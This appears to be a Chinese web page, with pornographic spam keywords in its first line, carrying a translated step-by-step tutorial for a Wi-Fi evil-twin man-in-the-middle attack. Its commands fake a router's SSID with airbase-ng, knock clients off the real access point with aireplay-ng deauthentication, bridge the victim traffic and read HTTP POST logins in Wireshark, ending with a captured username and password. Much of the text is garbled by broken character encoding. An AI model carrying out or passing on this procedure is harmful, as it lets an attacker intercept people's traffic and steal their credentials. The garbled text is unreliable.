国产精品香蕉在线观看网,亚洲欧美精品综合在线观看,亚洲不卡av一区二区无码不卡,亚洲日本精品国产第一区二区

移動安全 安全管理 應用案例 網(wǎng)絡(luò)威脅系統(tǒng)安全 應用安全 數(shù)據(jù)安全 云安全

BT5 + wireshark玩wifi捕獲和中間人攻擊

時間:2014-05-14 12:32來源:TuZhiJiaMi企業(yè)信息安全專家 點擊:
前言:先說明一下,這個文章不是我寫的,是一個老外(Deepanshu Kapoor)安全專家寫的,我一開始就是看著玩,但整個看完被老外那個細心和耐心給打動了,整個過程其實很簡單,但是老外分了好
Tags系統(tǒng)安全(735)wifi(57)中間人攻擊(4)Wireshark(4)BT5(1)  

  前言:先說明一下,這個文章不是我寫的,是一個老外(Deepanshu Kapoor)安全專家寫的,我一開始就是看著玩,但整個看完被老外那個細心和耐心給打動了,整個過程其實很簡單,但是老外分了好多步驟來講解,每個步驟都有配圖和說明,甚至命令的參數(shù)都要解釋一下。不得不佩服老外分享和奉獻的精神,所以我也學著奉獻一下,把它翻譯成中文給大家看看吧,我盡量保持原汁原味,有不恰當?shù)牡胤揭徫?,畢竟我不是專業(yè)翻譯。

BT5 + wireshark玩wifi捕獲和中間人攻擊

  BT5 + wireshark玩wifi數(shù)據(jù)包捕獲和session注入(中間人攻擊)

  介紹:

  主要思路是通過偽造相同名稱的wifi接入點,配合發(fā)送ARP數(shù)據(jù)包,攻擊連入偽造wifi的用戶。一個與原有wifi相同名稱的偽造接入點一旦建立,會導致用戶從原有鏈接中斷開,并連入你所建立的偽造接入點中,因此所有的通信通道都會流經(jīng)我的系統(tǒng),屆時我們通常會用session注入的方式拿到用戶所有的細節(jié)/授信狀態(tài)/信息等。

  必備神器:

  1,BT5(Backtrack操作系統(tǒng))

  2,虛擬機(帶USB設(shè)備)

  3,可聯(lián)網(wǎng)的主機

  第一步:

  開BT5的terminal終端,然后輸入”iwconfig” 檢查無線網(wǎng)卡。

  說明:iwconfig類似于ifconfig,但是是用于無線網(wǎng)絡(luò)的。它經(jīng)常被用來設(shè)置無線網(wǎng)卡的參數(shù)。

BT5 + wireshark玩wifi數(shù)據(jù)包捕獲和session注入(中間人攻擊)

  第二步:

  輸入“airmon-ng start wlan0”開啟無線網(wǎng)卡。

  說明:這個命令可以被用來讓無線網(wǎng)卡處于監(jiān)聽狀態(tài)。也可以被用來從監(jiān)聽模式中恢復成管理模式。輸入 “airmon-ng”不帶參數(shù),可以顯示網(wǎng)卡狀態(tài)。

  wlan0 是指wifi網(wǎng)卡。

  wlan 是無線局域網(wǎng), 0 是你的網(wǎng)卡編號。

BT5 + wireshark玩wifi數(shù)據(jù)包捕獲和session注入(中間人攻擊)

  第三步:

  在網(wǎng)卡已經(jīng)啟動了監(jiān)聽模式后,輸入“airodump-ng mon0”就可以開始抓包了。

  說明:airodump-ng 可以用來抓802.11的原始幀數(shù)據(jù)包,特別適合于收集WEP的初始化向量用于aircrack-ng的破解。Airodump-ng也能夠用來記錄找到的接入點的坐標。

  mon0在監(jiān)聽模式下和wlan0的意思是一樣的。

  一旦你把wlan0設(shè)置為監(jiān)聽模式,wlan0就要改為mon0。

BT5 + wireshark玩wifi數(shù)據(jù)包捕獲和session注入(中間人攻擊)

  第四步:

  設(shè)置在airodump-ng中顯示的頻道ID,命令如下:

  “iwconfig mon0 channel 5” “iwconfig wlan0 channel 5”

  或者

  “iwconfig wlan0 channel 5” “iwconfig mon0 channel 5”

  說明:參數(shù)“channel”用來選定一個單獨的特殊頻道。

BT5 + wireshark玩wifi數(shù)據(jù)包捕獲和session注入(中間人攻擊)

  第五步:

  現(xiàn)在開始建立你的偽造路由器,命令如下:

  “airbase-ng - e “belkin.3448” mon0”

  說明:airbase-ng是個多用途的工具,可針對AP(接入點)自身的客戶端進行攻擊,主要的思路是驅(qū)使客戶端去連接偽造的AP,不是阻止客戶端去連接真實AP。

  “-e + SSID”指定偽造AP的SSID名稱。

BT5 + wireshark玩wifi數(shù)據(jù)包捕獲和session注入(中間人攻擊)

  第六步:

  現(xiàn)在是時候去“橋接”所有的網(wǎng)絡(luò)了,命令如下:

  “brctl addbr mitm”

  “brctl addif mitm eth0”

  “brctl addif mitm at0”

  中間人就是 。(這句話看原文直接翻譯有些難以理解,實際上作者就是想說at0這個網(wǎng)卡架起來的網(wǎng)橋就是個中間人,攻擊就是在這里完成的?!C譯者注)

  說明:

  Brctl 用來在兩個網(wǎng)卡之間建立橋接網(wǎng)絡(luò)。

  Addbr 用來添加網(wǎng)橋的對象,用來指定網(wǎng)橋的名稱。

  Addif 給已經(jīng)使用addbr創(chuàng)建的網(wǎng)橋中添加一個網(wǎng)卡,后邊的參數(shù)使用你要添加的網(wǎng)卡名稱即可。

BT5 + wireshark玩wifi數(shù)據(jù)包捕獲和session注入(中間人攻擊)

  第七步:

  現(xiàn)在創(chuàng)建一個新的網(wǎng)卡配置,命令如下:

  “ifconfig eth0 0.0.0.0 up”

  “ifconfig at0 0.0.0.0 up”

  說明:ifconfig 不用多說了,用來配置網(wǎng)卡,大家經(jīng)常用的。

BT5 + wireshark玩wifi數(shù)據(jù)包捕獲和session注入(中間人攻擊)

  第八步:

  現(xiàn)在可以啟動我們用來做中間人攻擊的網(wǎng)橋了!命令如下:

  “ifconfig mitm up”

  說明:配置完成的網(wǎng)橋可以使用ifconfig來啟用。

BT5 + wireshark玩wifi數(shù)據(jù)包捕獲和session注入(中間人攻擊)

  第九步:

  現(xiàn)在使用下面的命令發(fā)送認證包到路由器上,

  “aireplay-ng - - deauth 0 - a 94:44:52:DA:B4:28 mon0”

  說明:aireplay-ng 用來注入幀數(shù)據(jù)。

  -a 指定被攻擊者的BSSID。

  94:44:52:DA:B4:28這個是被攻擊者的BSSID。

BT5 + wireshark玩wifi捕獲和中間人攻擊

  第十步:

  現(xiàn)在開始給被攻擊者分配IP,命令如下:

  “dhclient3 mitm&” 或者 “dhclient3 mitm &”

  說明:

  使用類似DHCP的協(xié)議方式分配IP。

BT5 + wireshark玩wifi捕獲和中間人攻擊

  第十一步:

  現(xiàn)在你可以看看是不是有客戶端已經(jīng)連接上了,有的話會顯示在第五步的那個命令終端里面。

BT5 + wireshark玩wifi捕獲和中間人攻擊

  第十二步:

  開wireshark,命令:“wireshark&”

  說明:wireshark是個網(wǎng)絡(luò)協(xié)議抓包分析器。

BT5 + wireshark玩wifi捕獲和中間人攻擊

  第十三步:

  選擇網(wǎng)卡,點開始(start)

BT5 + wireshark玩wifi捕獲和中間人攻擊

  第十四步:

  輸入 “http contains POST”過濾一下,然后你就可以看到所有抓下來的數(shù)據(jù)包了。

BT5 + wireshark玩wifi捕獲和中間人攻擊

  http://exploit.deepanshukapoor.org/admin.php

  Username – john

  Password – 1234

BT5 + wireshark玩wifi捕獲和中間人攻擊

------分隔線----------------------------

推薦內(nèi)容